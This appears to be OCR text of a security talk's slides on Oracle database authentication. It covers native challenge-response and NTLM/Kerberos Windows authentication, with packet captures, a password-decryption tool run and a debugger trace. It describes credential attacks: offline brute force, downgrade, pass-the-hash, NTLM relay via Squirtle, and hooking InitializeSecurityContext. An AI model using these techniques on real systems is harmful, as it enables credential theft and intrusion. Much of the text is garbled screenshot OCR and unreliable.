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Introduction
* The Oracle au't'henticationis.a subject
rarely covered

* The Oracle Advanced Security can be
used for the:communication encryption,
but it is of additional cost

* The communication between the client
and the server is rarely encrypted




ve authentication

M|
]
(T
Y
. i
Il1 \
fr
:
i
L

dral3

Oracle nat

Lidae

= HiEs
gIE aalel 1) ’r".'.IJ'
i T

* ,Challenge-response” protocol

* The used crypto is getting stronger
between the versions

* The Java (thin) driver behaves differently
than the native (oci) driver
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& VMware Virtual Ethernet Adapter: Capturing - Wires

Eile Edit Wew Go Capture Analyze Statistics Help
B BEHEXEE Ae+T L (BE QAP @M% B

Eilter: ~* Expression... Clear Apply

Source Destination Protocol Info

TNS Request, Connect (1), Connect

TNS Response, Resend (11)

TNS Request, Connect (1), Connect

TNS Response, Accept (2), Accept

TNS Request, Data (&), SNS

TNS Response, Data (6), SNS

TNS Request, Data (6), Data

TNS Response, Data (6), Data

TNS Request, Data (6), Data
Response, Data (6), Data
Request, Data (6), Data
Response, Data (6), Data

0
Response, Data (6), Data
Request, Data (6), Data

67 32 00 00
3a 27 40 cO as
05 04 05 / / 28 18
c8 4a 00 06 00
00 01 01 a5 4f
54 45 53 55 45
49 4de 41 / 7 75 b6e 77 be RMINALZ. . unknown
of of 41 52 4d ....AUTH _PROGRAM
4d 01 10 20 20 _NM...JD BC Thin
69 65 6e 7 41 4d Client.. ..AUTH_M
48 49 4e 74 65 73 7 00 ACHINE.. .testl?Z.
08 41 55 44 32 ...AUTH_ PID...12
00 01 08 5f 05 34....AU TH_SID..
74 6f 74 . Ttoth.

YMware Virtual Ethernet Adapter: <live capturei... |Packets: 26 Displayed: 26 Marked: 0 Profile: Default




& VMware Virtual Ethernet Adapter: Capturing - Wires

Eile Edit Wew Go Capture Analyze Statistics Help
B BEHEXEE Ae+T L (BE QAP @M% B

Eilter: ~* Expression... Clear Apply

Source Destination Protocol Info

TNS Request, Connect (1), Connect

TNS Response, Resend (11)

TNS Request, Connect (1), Connect

TNS Response, Accept (2), Accept

TNS Request, Data (&), SNS

TNS Response, Data (6), SNS

TNS Request, Data (6), Data

TNS Response, Data (6), Data

TNS Request, Data (6), Data

TNS Response, Data (6), Data

TNS Request, Data (6), Data
Response, Data (6), Data
Request, Data (6), Data

Request, Data (6), Data

00

as

18

00 ]

4h Al TH_SESSK
34 ...EBE 788C9ES84
00

YMware Virtual Ethernet Adapter: <live capturei... |Packets: 26 Displayed: 26 Marked: 0 Profile: Default




e authentication

Statistics  Help
S Ae*»HTR(IIBE QA E#EMX B

¥  Expression.., Clear Apply

Destination Protocal Info

192.168.61. TNS Request, Connect (1), Connect
192.168.61. TNS Response, Resend (11)
192.168.61. TNS Request, Connect (1), Connect
192.168.61. TNS Response, Accept (2), Accept
192.168.61. TNS Request, Data (6), SNS
192.168.61. TNS Response, Data (6), SNS
192.168.61. TNS Request, Data (6), Data
192.168.61. TNS Response, Data (6), Data
192.168.61. TNS Request, Data (6), Data
192.168.61. TNS Response, Data (6), Data
192.168.61. TNS Request, Data (6), Data
192. .61. TNS Response, Data (6), Data
192. .61. TNS Request, Data (6), Data
Response, Data (6), Data
Request, Data (6), Data [}
>

67 32 89 00 01 45

2h 40 00 c0 a8 3d 01 c0

04 05 f1 17 / 28 00 8d d3 50 18

a3 00 00 06 00 00 00 00 00

01 01 09 01 08 01 01 50 52

54 45 53 41 55 54 48 5f 50

57 4f 52 45 31 43 42 35 39 / ASSWORD. !!E1CB59
36 37 44 36 41 31 46 30 38 ( 97867D6D BCHALFO3
31 38 30 37 00 01 O0d 0Od 41

5F 54 45 41 4c 00 00 01 Of

54 48 5f 7 52 41 4d 5 4e 4d

4a 44 42 69 6e 20 43 6C 69 ...JDE

00 01 0Oc 43 5f 4d 41 43 48 ....A UTH_MACH
01 06 06 7 73 74 31 32 00 01 08 08 .. Tte stl2. ..
48 5f 50 04 31 32 33 34 00 AUTH_PID ...1234.

P ) [ e mA a4 —a

YMware Virtual Ethernet Adapter: <live capturei... | Packets: 26 Displayed: 26 Marked: 0 Profile: Default




Oracle native authentication

The client sends-the usernam'é '

The server generates a random key, encrypts it
with the hash of the user's password and sends
it to the client

The client decrypts the key and encrypts the
clear text password of the user with the
decrypted key

The server decrypts the encrypted password,
generates the hash and compares to the stored
value



Oracle nat 7é authentication

Pasaslsvoc::ihr:sh Encryption algorithm Generated keys by the server and the client

DES-based Just the server sends a key (challenge)

9j DES-based 3DES SHA1 is used to generate the 3DES key, just
the server sends a key

10g DES-based AES-128 The generated keys of the server and client
are XOR-ed an then MD5 is used

1 1g SHA1 AES-192 The generated keys of the server and client
are XOR-ed and then MD5 is used (because
of the difference in the key length, there are
some differences to the 10g version)

8i-10g Java Thin DES-based DES Just the server sends a key (challenge)
11g Java Thin (ha  SHA1 AES-192 The generated keys of the server and client
11g a szerver) are XOR-ed and then MD5 is used (because

of the difference in the key length, there are
some differences to the 10g version)
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Oracle native authentication

it

T2 VMware Virtual Ethernet Adapter: Capturing - Wireshark

File Edit ¢ Go Capture Analyze Statistics  Help
G BEEPE Aes*TL|(IEE QAQAB $EMXK| B

~ Expression... Clear Apply

Source Destination Protocol Info

192. .61. 192.168.61.17 TNS Request, Connect (1), Connect
192. .61.17 192.168.61. TNS Response, Resend (11)
192. .61. 192.168.61.17 TNS Request, Connect (1), Connect
192. .61.17 192.168.61. TNS Response, Accept (2), Accept
192. .61. 192.168.61.17 TNS Request, Data (6), SNS
192. .61.17 192.168.61. TNS Response, Data (6), SNS
192. .61. 192.168.61.17 TNS Request, Data (6), Data
192. .61.17 192.168.61. TNS Response, Data (6), Data
192. .61. 192.168.61.17 TNS Request, Data (6), Data
192. .61.17 192.168.61. Response, Data (6), Data
192. .61. 192.168.61.17 Request, Data (6), Data
192. .61.17 192.168.61. Response, Data (6), Data
192. .61. 192. .61.17 Request, Data (6), Data
) -, )

102. -61. 192. ~61.17 Request, Data (6), Data

192. .61.17 192. .61. Response, Data (6), Data
1Q7 1a? 7 Damiact Nata (AN Nata

<

us/u (VU VIVIRVIY] 41 48 5T 23 S0 TH_5>C_>V
0380 46 4c 41 47 53 00 00 01 00  C_FLAGS.

0390 00 00 00 41 48 5f 49 41

03a0 45 4e 41 45 00 00 04 / bc

03b0 00 00 11 00 41 55 54

03c0 52 45 53 af 45 60 00 R_RESPON

03d0 42 41 32 45 34 36 41 B5BA21EC 346A0D54
03e0 30 39 37 33 37 30 46 } A9097B32 C70FC5C4
03f0 36 33 42 46 44 34 43 5063B1F& 1D4CB&27
0400 45 35 41 36 34 37 38 / J FOESABOGE 9478B743
0410 43 32 31 37 34 34 46 44 BAC2174B 84FD6DD4
0420 36 46 37 38 39 37 46 597F3D6.
0430 00 04 01 00 00 01 00

0440 00 00 00 00 00 00 00

0450 00 00 00 00 00 00 00

0460 00 03 00 00 00 36

0470 a8 82 le 00 00 00

0480 00 00 00 00 00 00 00

0490 00

YMware Virtual Ethernet Adapter: <live capturei... | Packets: 215 Displayed: 215 Marked: 0 Profile: Default




nolides

Oracle native authentication
The main differehces between. the versions

— Stronger crypto algorithms

— Starting with 10g the client sends an
AUTH SESSKEY too and it is used for the

password encryption with AUTH_SESSKEY
from the server

— Starting with 11g the Java thin driver supports
the stronger authentication algorithms

— The AUTH SVR RESPONSE can be a
protection against server spoofing



Qracle nal “authentlcatlon

Problems:
— ,Off-line” brute-force

— If we have the password hash, we can decrypt
the AUTH. PASSWORD and get the clear text
password
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¢ Command Prompt

MG =~sun~oraclesntlmshacktivitysoradecryptilgoradecryptilig.exe —= BC1BY1A?ACSHEBA
7IBE?EBADS5?AB6DE4192DD23D?D45A373D7ACE2 Y666 8E316286AF7D486 ER34A45F26151 YD?CEGZA
F —c 2D158BAZ95EAYEDSA3Y73BAGDFAAGHEE46D1 ECRBS/CB4A86ASDI D65 2CDDCCEEBA3SERZES?EE 7B
F29F786F44CDD523E6043 —a 9FD?26D6DE1SS559FFSAP4EE1 69 ECFEGAS CEIBE2BDEICAIEDE2B25A
46AC3CAAES42CBE2826178AY?246BFBAABZEBCDGE —h 1D2F4CHA6C18FC543188349421 B1FSAB365F

1 EBCHECH5E8C9493424?F"2F4C4uu;“qF43HE4?BBEDH3E3
The password is: SERUER_TO_CLIENWT
MG =ssun~orac lesntImshiacktivitocagradecryptdd g

‘authentication
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* The weaker the protocol, the faster it can
be cracked

* For example, if we can convince an 11g to
use a weaker algorithm, the difference

between the small and capital letters will
disappear

alpha:max 6 characters

20158268676 / 321272406 =
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w VMware Virtual Ethernet Adapter: Capturing - Wireshark

| File Edit View Go Capture Analyze Statistics Telephonl Tools Help
BEaee EEXEE AT L RAA [ @D ® % B

Filter: * Expression.. Clear Apply

Source Destination Protocol Info

192.168.61. 192.168. TNS Response, Data (6), Data

192.168.61. 192.168.61. TCP [TCP segment of a reassembled PDU]

192.168.61. 192.168.61. TNS Request, Data (6), Data

192.168.61. 192.168.61. TCP 1521 > 54471 [ACK] Seg=345 Ack=2578 win=64240 Len=0
192.168.61. 192.168.61. TNS Request, Data (6), Data

192.168.61. 192.168.61. TCP [TCP segment of a reassembled PDU]

192.168.61. 192.168.61. TNS Response, Data (6), Data

192.168.61. 192.168.61. TCP 54471 = 1521 [ACK] 5eq=2718 Ack=2356 Win=65700 Len=0
192.168.61. 192.168.61. TNS Response, Data (6), Data

192.168.61. 192.168.61. TCP 54471 = 1521 [ACK] Seq=2718 Ack=2620 Win=65436 Len=0
192.168.61. 192.168.61. TNS Request, Data (6), Data

192.168.61. 192.168. 61. TNS Response, Data (6), Data

192.168.61. 192.168.61. TNS Request, Data (&), Data

192.168.61. 192.168.61. TNS Response, Data (6), Data

192.168.61. 192.168.61. TNS Request, Data (6), Data

14Q? 14Q7? 1R/RR TS Recnnnsa Nata fRY nata

4

0000 7 00 08 00 45
0010 80 3d 01 c0
0020 7 el b e¥ cd 50
0030 7 00 00 00 00
0040 01 7 5f 54 54
0050 00

(D) VMware Virtual Ethernet Adapter: <live capt... |Packets: 27 Displayed: 27 Marked: 0 Profile: Default




File Edit View

Source Destination ctoco Info
192.168.61.1 192.168.61. 5 Request, Data (6), Data

[TCP segment of a reassembled PDU]
Request, Data
Seq=345 Ack=2578 wWin=64240 Len=0

e e el e e = =

Data
5eq=2718 Ack=2356 Win=65700 Len=0
Data
Seq=2718 Ack=2620 Win=65436 Len=0
Data
Data
Data
Data
Data

el el el el el el el el el el el el e
R R e R R R P oo )
SRR R R R R R R R R R R R R
el el el el el el el el el el el
0 0 Gn o G0 00 0 G 00 00 G 0a 0
el = e e N e el
% Co 00 0 00 00 GO 00 £O 00 00 £9 00 00 69

o A

(D) VMware Virtual Ethernet Adapter: « cets: 27 Displayed: 27 Marked: 0 Profile: Default




Source

192.
192.

[l el el el el el el el el el el

1

|
e = ===

Destination

192.168.61.
2.168.61.

Lol el ol sl el el el el ol el el
L0 0 L0 0 W0 L0 A0 W0 L0 D 10 0 D D
R PRI RJ R R RD R PRI R R R RD R RD

o0 ol

e Virtual Ethernet Adapter:

.168.61.

HERRRRRHRRHERRR

Protocol
TNS
TNS

Info
Request, Data (
Response, Data (¢

Data

1521 > 54471 [ACK] Seg=345 Ack=2578 win=64240 Len=0

Request, Data (6), Data

ment of a reassembled PDU]
, Data
Seq=2718 Ack=2356 Win=65700 Len=0
, Data
Seq=2718 Ack=2620 Win=565436 Len=0
Data
pata
pata
Data
Data

Profile: Default




. w VMware Virtual Ethernet Adapter: Capturing - Wireshark

File Edit View Go Capture Analyze Statistics Telephonl Tools Help
BEeee BEXER A+ T2 IR QA @@M %

Filter: * Expression.. Clear Apply

Source Destination Protocol Info

192.168. 192.168.61. TNS Request, Connect (1), Connect
192.168.61. 192.168.61. TNS Response, Resend (11)
192.168.61. 192.168.61. TNS Request, Connect (1), Connect
192.168.61. 192.168.61. TNS Response, Accept (2), Accept
192.168.61. 192.168. 61. TNS Request, Data (6), SNS
192.168.61. 192.168. 61. TNS Response, Data (6), SNS

192.168.61. 192.168.61. TNS Response, Data (6), Data

192.168.61. 192.168.61. TCP [TCP segment of a reassembled PDU]

192.168.61. 192.168.61. TNS Request, Data (6), Data

192.168.61. 192.168. 61. TCP 1521 > 54558 [ACK] Seg=345 Ack=2578 win=64240 Len=0
192.168.61. 192.168.61. TNS Request, Data (&), Data

192.168.61. 192.168.61. TCP [TCP segment of a reassembled PDU]

192.168.61. 192.168.61. TNS Response, Data (6), Data

192.168.61. 192.168.61. TCP 54558 > 1521 [ACK] Seq=2718 Ack=2356 Win=65700 Len=0

192. .61, 192.168. 61. TNS Response, Data (6), Data
1aQ?2 18 CAGRR] ~ 185721 Frawrew]l Can=2718 Al —7872N WinR—A5AZA 1| an—N

4

0000 7 50
0010 06
0020 3C
0030 21
0040 00
0050

(D) VMware Virtual Ethernet Adapter: <live capt... |Packets: 55 Displayed: 55 Marked: 0 Profile: Default




File Edit

Source Destination Protocol

192.168.61. 192.168.61. TNS ), Connect
192.168.61. 192.168.61. TNS : ,

192. ; . 192. . 61. TNS { o connect
192. ] c 192. . 61, TNS 5 p ACCept
192. ] . 192. . 61. TNS 2 5

192. 1 . 192. . . TNS

192. . 192. . TNS

54558 [ACK] Seg=345 Ack=2578 win=64240 Len=0
, Data (&), Data
agment of a reassembled PDU]
Response, Data (6), Data
5eq=2718 Ack=2356 Win=65700 Len=0
onse, Data (6), Data
~E® - 1521 Tarw]l can=2718 arl—287N win—F~ 1 an—n

el el el el el el el el
DD WD WD D O S
R R R R R RN
el el el el e =l
el el el el el el el el e
R =R R =R =]
W P PR BRI R R R R

E:] VMware Virtual Ethernet Adapter: - ... | Packets: 55 Displayed: 55 Marked: 0 Profile: Default




File Edit

Source Destination Protocol

192.168.61. 192. TNS ), Connect
192.168.61. 192. TNS : ,

192. ; . 192. TNS { o connect
192. ] c 192. TNS 5 p ACCept
192. ] . 192. TNS 2 5

192. ] o 192. TNS

192. ] . 192. TNS

192. .61, 192. TNS

e

S

54558 [ACK] Seg=345 Ack=2578 win=64240 Len=0
, Data (&), Data
egment of a reassembled PDU]
Response, Data (6), Data
5eq=2718 Ack=2356 Win=65700 Len=0
onse, Data (6), Data
~E® - 1521 Tarw]l can=2718 arl—287N win—F~ 1 an—n

el el el el vl el el
DD W0 WO oo
< P R RJ R R R R
el el el el el el el
0000 WL WoW
9 P BRI R R PR

01 OB O
a8 3d Hl

Tefel=] il

Y =R =R=1
wocar

P

—‘I—‘:::::n:

Marked: 0 Profile: Default
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Windows authentication

* Oracle suppor’ts the WindoWs-based
authentication (create user domain\user
identified by externally;)

* The users do not need to provide their
password. If they've already logged into
their workstation, they can use the
following command to log in to the Oracle
server (runs on Windows)

sqlplus /@connectionstring




NT 5§I\/I refresh

,F"

* ltis also a ,,challenge response ' protocol

* We can speak about more versions here
also

— NTLMv1
— NTLMv1 with NTLMv2 Session security
— NTLMv2
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NTLM refresh

Problems
— Off-line brute-force
— DES-based (NTLMv1, NTLMv2 Session Security)

— The password hash is sufficient for the authentication
(pass the hash attack)

— Depending on the configuration it can be downgraded
to the NILMv1

— Static server challenge + Rainbow tables
— Relay attacks (smbrelay, Squirtle)




Eile Wew Configure Tools Help

#  [HALL CHALL < & 7 5
|6 | @ i i @ | & B, %) M il

& Decoders I@ Metwork |ﬂ§? Sniffer I@/‘J Cracker |@ Traceroute Im] Cccou |[‘ﬂ’] Wireless I%:' Query |

% Passwords rver | Client | Username | Ciomain | P.| AuthType LM Hash NT Hash
FTP (0) Hifge) e R AT 15318881, fest test FTL WS TLMSER] BRC (€ IDEDC DRSS FADEnaF0E 138005 150 EEG4EDE!
HTTP (1) fog/... . .61, 192.168.61. test test MTLMv 1 only (NTLMSSP) DE10F37AESSFCES 1465802 1469 2AF 564 DE10F374

IMAP (D) f08/... . .01 192,168.61. test MTLM Session Security (MTLMSSP) 2753466472474 7510000000000000000 723BACEL
LDAP {0)
& ror3 ()
st SMB (3)
B Telnet (0)
VNC (D)
TOS (0)
TS (0)
SMTP (D)
NNTP {0)
DCE/RPC ()
MSKerbS-PreAuth (¢
Radius-Keys (0)
¥ Radius-Users ()
oo

G5 [KE-PSK (D)
MySQL (0)
SMMP (1)

da SIP (D)

<> GREPPP (0)
<> PPPoE (0)

-

0y v h

<

2 5 |k _Sve
B Hosts |@l APR |¢$0 Routing |% Passwords |& VolP |

Lost packets: 0%
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Cain test results:

Send LM & Send Send

Send Send
Send LM | NTLM - use NTLM NTLMv2 NTLMv2 NTLMv2

Server & NTLM | NTLM session response | response
T response | response
response | security if onl onl only/refuse | only/refuse
negotiated y y LM LM & NTLM

Send NTLM
response
only

Client

Send
NTLMv2

NOK
response

only




refresh

Tl 13 0.119206 192.168.61.10 192.168.61.11 SMB Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED

= NTLMSSP
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)
= Domain: TEST
= Flags: 0xe2898215
NTLM Challenge: F54190ED5B4537BF
Reserved: 0000000000000000
= Address List
Length: 126
Maxlen: 126
offset: 64
Domain NetBIOS Name: TEST
Server NetBIOS Name: WIN2K3DC
Domain DNS Name: test.local
Server DNS Name: win2k3dc.test. local
Unknown type:0x0005
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refresh

7 140.119371 192.168.61.10 192.168.61.11 SMB [TCP Out-Of-Order] Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_RE... [= |[B][X]

= NTLMSSP
NTLMSSP didentifier: NTLMSSP
NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)
= Domain: TEST
= Flags: Oxe2818215
NTLM Challenge: F54190ED5B4537BF
Reserved: 0000000000000000
= Address List
Length: 126
Maxlen: 126
offset: 64
Domain NetBIOS Name: TEST
Server NetBIOS Name: WIN2K3DC

L

Domain DNS Name: test.local
server DN5 Name: winZk3dc. test.
Unknown type:0x0005

he 4e 54 4c 4d
00 38 00 00 00
hf 00 00 00 00
00 05 02 ce De
00 02 00 08 00
00 57 00 49 00
00 04 00 14 00
00 6f 00 63 00
00 6e 00 32 00
00 65 00 73 00
00 6c 00 05 00
00 6¢c 00 ef 00
00 69 00 6e 00
00 65 00 72 00
00 30 00 33 00
00 53 00 65 00
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refresh

- R R .

Negotiate 0x02000000: Sset

Negotiate 0x01000000: Not set

Negotiate Target Info: Set

Negotiate 0x00400000: Not set

Negotiate 0x00200000: Not set

Negotiate 0x00100000: Not set

Negotiate NTLM2 key: Not set

Negotiate Challenge Non NT Session Key: Not set
Negotiate Challenge Accept Response: Not set
Negotiate Challenge Init Response: Set
Negotiate Always Sign: Set

Negotiate This is Local Call: Not set
Negotiate workstation Supplied: Not set

Negotiate Domain Supplied: Not set
Negotiate Anonymous: Not set
Negotiate 0x00000400: Not set

.E.
E.5.T.
2.K.3.
e.s.T.
T...4&.
3.d.c.

. 0.

.5.

53 53 50 00
15 82 81 e?
00 00 00 00 7
00 00 00 Of
54 00 45 00
4e 00 32

74 00 65

61 00 6¢C
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Oracle Windows authentication
. 1f is allowed by defult i
SQLNET.AUTHENTICATION_SERVICES= (NTS)

* Of course it has the same problems as the
normal Windows authentication

* Supports Kerberos. If the authentication is
Kerberos between-a Windows client and a
Windows server, the Oracle client and the
Oracle server willuse Kerberos as well




File Edit View Go Capture Analyze Statistics Help
B e tEXEE Qe T L (BE QA H @EM:E O

Filter: ~ Expression... Clear Apply

Source Destination Protocol Info

.168.61.12 192. .61. TNS Request, Connect (1), Connect

.168.61.11 192. .61. Response, Resend (11)

.168.61.12 192. .61. Request, Connect (1), Connect

.168.61.11 192. .61. Response, Accept (2), Accept
; . ;

.1bon.bl. - 5 5 U
.168.61.11 . .61. Response, Data (6), SNS
.168.61.12 . .61. Request, Data (6), SNS
.168.61.11 . .61. Response, Data (6), SNS
.168.61.12 . .61. Request, Data (6), SNS

e

00 0c 29
00 db 04
3d Ob 04
fa c8 ce
de ad be
03 00 00
01 00 00
ef 00 03
01 00 05
02 00 03
00 03 00
04 00 05
of 0a 0Ob
04 00 05

YMware Virtual Ethernet Adapter; <live capture i... | Packets: 99 Displayed: 99 Marked: Profile; Default




Oracle Windc

" VMware Virtual Ethernet Adapter: Capturing - Wireshark

File Edit View Go Capture Analyze Statistics Help
BEgae 2EXZTE AesTLIIEBE QQE A dEMEX B

Filter: ~ Expression... Clear Apply

Source Destination Protocol Info

192. .61. TNS Request, Connect (1), Connect
192. .61. Response, Resend (11)
192. .61. Request, Connect (1), Connect
Response, Accept (2), Accept
Request, Data (6), SNS
b SN
Request, Data (6), SNS
Response, Data (6), SNS
Request, Data (6), SNS

YMware Virtual Ethernet Adapter: <live capture i... | Packets: 99 Displayed: 93 Marked: 0 Profile; Default




w Go Capture Analyze Statistics Help
ElAe+ahTFLIEE QAQQQH EEME B

Filter: ~ Expression... Clear Apply

Source Destination Protocol Info

192. . 192.168.61. TNS Request, Connect (1), Connect

192. .61. 192.168.61. TNS Response, Resend (11)

192. . 192.168.61. TNS Request, Connect (1), Connect

192. . 192.168.61. TNS Response, Accept (2), Accept

192. . 192.168.61. TNS Request, Data (6), SNS

192. . 192.168.61. Response, Data (6), SNS

192. . 192 .61. 1104 > 1521 [ACK] Seq=679 Ack=204 Win=64037 Len=0
§ %, )

.
Response, Data (6),

Request, Data (6),
Request, Data (6), Data

YMware Virtual Ethernet Adapter: <live capture i... | Packets: 99 Displayed: 93 Marked: 0 Profile; Default




w Go Capture Analyze Statistics Help
ElAe+ahTFLIEE QAQQQH EEME B

Filter: ~ Expression... Clear Apply

Source Destination Protocol Info

192. . 192.168.61. TNS Request, Connect (1), Connect

192. .61. 192.168.61. TNS Response, Resend (11)

192. . 192.168.61. TNS Request, Connect (1), Connect

192. . 192.168.61. TNS Response, Accept (2), Accept

192. . 192.168.61. TNS Request, Data (6), SNS

192. . 192.168.61. Response, Data (6), SNS

192. . 192.168.61. 1104 > 1521 [ACK] Seq=679 Ack=204 Win=64037 Len=0
192.168.61. Request, Data (6), SNS

- DO . -
192.168.61. Request, Data (6), SNS

192.168.61. Request, Data (6), Data

00 Oc
80 06
88 ab
00 f9
Ob 10
04 00

5 D
6
OONQO

00 00
00 45
00 32
00 47
00 6cC
00 69
00 31
00 2Ze
00 74
00 61

YMware Virtual Ethernet Adapter; <live capture i... | Packets: 99 Displayed: 99 Marked: Profile; Default




File Edit View Go Capture Analyze Statistics Help
BEgae 2EXZTE AesTLIIEBE QQE A dEMEX B

Filter: ~ Expression... Clear Apply

Source Destination Protocol Info

TNS Request, Connect (1), Connect

TNS Response, Resend (11)

TNS Request, Connect (1), Connect

TNS Response, Accept (2), Accept

TNS Request, Data (6), SNS

TNS Response, Data (6), SNS

TCP 1104 > 1521 [ACK] Seq=679 Ack=204 Win=64037 Len=0
Request, Data (6), SNS
Response, Data (6), SNS

YMware Virtual Ethernet Adapter; <live capture i... | Packets: 99 Displayed: 99 Marked: Profile; Default




Oracle Windows authentication
. The Windows authentication is there, even if the
user uses his/her native Oracle username and

password. In this case the Windows

authentication data travels on the network
unnecessarily

* Because of this, if we attack the Windows
authentication for-example with - downgrade
attack or with a static server challenge, the client
will not reallze the dlfference

3 0 .6 n: X
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w Go Capture Analyze Statistics  Help
e BEEHYXZE Aes»aT L (BB QQQd E#EM® B

Eilter: ¥ Expression... Clear Apply

Source Destination Protocol Info

192. .61. 192.168.61. TNS Request, Connect (1), Connect
TNS Response, Resend (11)
TNS Request, Connect (1), Connect
TNS Response, Accept (2), Accept
Request, Data (6), SNS
Response, Data (6), SNS

0
Response, Data (6), SNS
Request, Data (6), SNS
Response, Data (6), SNS

Request, Data (6), SNS
Request, Data (6), Data
1521 > 1068 [ACK] Seq=455 Ack=2001 Win=64160 Len=0

Dasnnnsa Nata (RY Nnata

YMware Virtual Ethernet Adapter: <live capture i... | Packets: 536 Displayed: 536 Marked: O Profile: Default




w Go Capture Analyze Statistics  Help
e BEEHYXZE Aes»aT L (BB QQQd E#EM® B

Eilter: ¥ Expression... Clear Apply

Source Destination Protocol Info

192.168.61. TNS Request, Connect (1), Connect
TNS Response, Resend (11)
TNS Request, Connect (1), Connect
Response, Accept (2), Accept
Request, Data (6), SNS
Response, Data (6), SNS
Request, Data (6), SNS
b SN
Request, Data (6), SNS
Response, Data (6), SNS

Request, Data (6), SNS
Request, Data (6), Data
1521 > 1068 [ACK] Seq=455 Ack=2001 Win=64160 Len=0

Dasnnnsa Nata (RY Nnata

08 00 45 00
3d Ob cO a8
07 la 50 18
00 00 00 00

00 H\0L 00
oo‘jibno 00
00%69711 00

4d 42 52 31 .TEST\WI N2K3MBR1
1G

YMware Virtual Ethernet Adapter: <live capture i... | Packets: 536 Displayed: 536 Marked: O Profile: Default




w Go Capture Analyze Statistics  Help
e BEEHYXZE Aes»aT L (BB QQQd E#EM® B

Eilter: ¥ Expression... Clear Apply

Source Destination Protocol Info

192.168.61. TNS Request, Connect (1), Connect

TNS Response, Resend (11)

TNS Request, Connect (1), Connect

TNS Response, Accept (2), Accept
Request, Data (6), SNS
Response, Data (6), SNS
Request, Data (6), SNS
Response, Data (6), SNS

0
Response, Data (6), SNS

Request, Data (6), SNS
Request, Data (6), Data
1521 > 1068 [ACK] Seq=455 Ack=2001 Win=64160 Len=0

Dasnnnsa Nata (RY Nnata

.. WINZK
3MBR11G. ..50..1.
R

.0G.rW}hu
W+, . C. M.

YMware Virtual Ethernet Adapter: <live capture i... | Packets: 536 Displayed: 536 Marked: O Profile: Default
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Web server, we shoLjid convince the élienf to connect to
(http://code.google.com/p/squirtle/)

It tries to take advantage of the automatic Windows
authentication, although it has some strict rules
(http://support.microsoft.com/kb/258053)

Save the responses for off-line brute-force attack

Static challenge

We can develop-modules for Squirtle, (eg: POP3, SMTP)
which sends the NTLM type 2 to Squirtle and receives the
NTLM type 3, that can be sent to the server. The NTLM type 3
comes from the attacked client
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>quirtle

SECURITY_STATUS SEC_Entry InitializeSecurityContext(
__in_opt PCredHandle phCredential,

__in_opt PCixtHandle phContext,

__in_opt SEC CHAR *pszTargetName,

In ULONG fContextReq,

_in ULONG Reserved1,
In ULONG TargetDataRep,

_in ULONG Reserved?2,
__inout_opt PCtxtHandle phNewContext,

__out PULONG pfContextAttr,
__out opt PTimeStamp ptsExpiry

);
1



typedef struct SecBufferDesc {
ULONG ulVersion;
ULONG  cBuffers; all i
PSecBuffer pBuffers; AL

}SecBufferDesc, *PSecBufferDesc;

typedef struct _SecBuffer {
ULONG cbBuffer;
ULONG BufferType;
PVOID pvBuffer;

}SecBuffer, *PSecBuffer;




>quirtle
We stop the progfém at the InitiélizéSecurityContext

We copy the NTLM Type 2 Challenge from the
plnput and we send it to the Squirtle

We save the received NTLM Type 3

We run the program until the return of the
InitializeSecurityContext

We replace the pOutput with the saved one that was
sent by Squirtle




Irtle

N [ i Consulting Services Manager
8BFF MOU EDI.EDI Re : p
3233335 ggEC :gﬁHEEEPESP EAX 753902EA Securd?.?53902EA
7537720 6A 86 PUSH 8 ESE Egﬁﬁg%gg
7537721 FF7% 34 PUSH DWORD PTR SS:[EBP+341 EBX PAEACIRE
7537721 FF7% 38 PUSH DUWORD PTR SS:[EBP+3@1 ESF AA1757A0
7537721 FF75 2C PUSH DUWORD PTR S8:[EBP+2C1 EBF RAB1i757D4
7537721 FF75 28 PUSH DWORD PTR SS:[EBP+281 ES1 R3IFBR1iFE ASCIT “NTLH"
7537721 FF75 24 PUSH DUWORD PTR SS:[EBP+241 EDI ABi75FDA
7537721 FF?5 20 PUSH DWORD PIR SS:[EBP+2@1
753772 FF?5 1C PUSH DWORD PIR S&:[EBF+1C1 EIP 75377284 Secur32.?5377284
753772 FF/S 18 PUSH DWORD PTIR SS5:[EBFP+1E1 C @ ES BA?B 22hit BCFFFFFFFF>
793772 FF7/5 14 PUSH DWORD FTR S£8:[EBP+141] P1i CE AE23 32hit A< FFFFFFFF>
793772 FF7/5 18 PUSH DWORD FTR £8:[EBFP+10@1] 0@ 5% AA?B 32hit B¢FFFFFFFF>
793772 FF7?5 @C PUSH DWORD FTIR S5:[EBF+C] 7 1 DE AA?B 32hit B¢FFFFFFFF>
753772 FF7/S @8 PUSH DWORD PTR S5:[EBFP+81 ¢ @ FE @AB53 22hit PEFDDABACFEE>
L E% 48 CEFFFF POP E%;cur32-753743D1 T @ GS PA2B 32bit BC(FFFFFFFF>
' D@
3333335 gg 3088 HOP 38 0 @ LastErr ERROR_SUCCESS <APREOARA>
3995 9@ NOF EFL BABAA246 ¢(NO.MB.E.BE.NS.PE.GE.LE>
753772 98 NOP eTE ty 0.8
753772 9@ NOP ST1 empty 0.8
753772 9@ NOP 8T2 empty B.@
753772: B8 EAA23275 MOU EAX.Secur32.?53702EA ST3 empty 1P0A.A00RPRREAERRAGEA
253772 C3 - £T4 empty B.01400PREAEPAEAPAOAI
PC3040D1 o8 33 TC3940D1 ST5 empty 14318180 . APAAREAREARE
geus ST6 empty 11.308B0GEEGRAEERRGAG
ET?7 empty 2 .PAPRARRAPAARAAREARE
: i - ’ A6 Tl G3FB8230 BéJv | Argl - BIFBB230
A2IFBEA11 4E 54 4C 4D 53 53 NTLMSSP. ap175 a4 H3FBB238 Béd'v Hl"gz = B3FB8238
A3FBRALY 98 99 B8 98 B8 ®. . .0.0. AA1757A8 APAAREAA .... | Arg3 = PEAPBARA
@IFBEA21 18 OF B@ BB B 82 8. . Siid BA1757AC BREAREA1L .. | Argd4 = PEARBREA1
@3FBEA29 77 7A 19 7F BF 15 uzla 1§14 84175708 BEAAEEAA . ... | Argh - BBBAAEEA
@3FBEA3L AF OF B0 08 B8 BE . . . . . ... PA175764 GPAARE1A ... | Args = PEAREALA
@3FBEE39 BE OF SE P8 48 B8 5.5 0. . . PA1757B8 ®B3FBE24@ REéJv | Arg? = A3FBEZ248
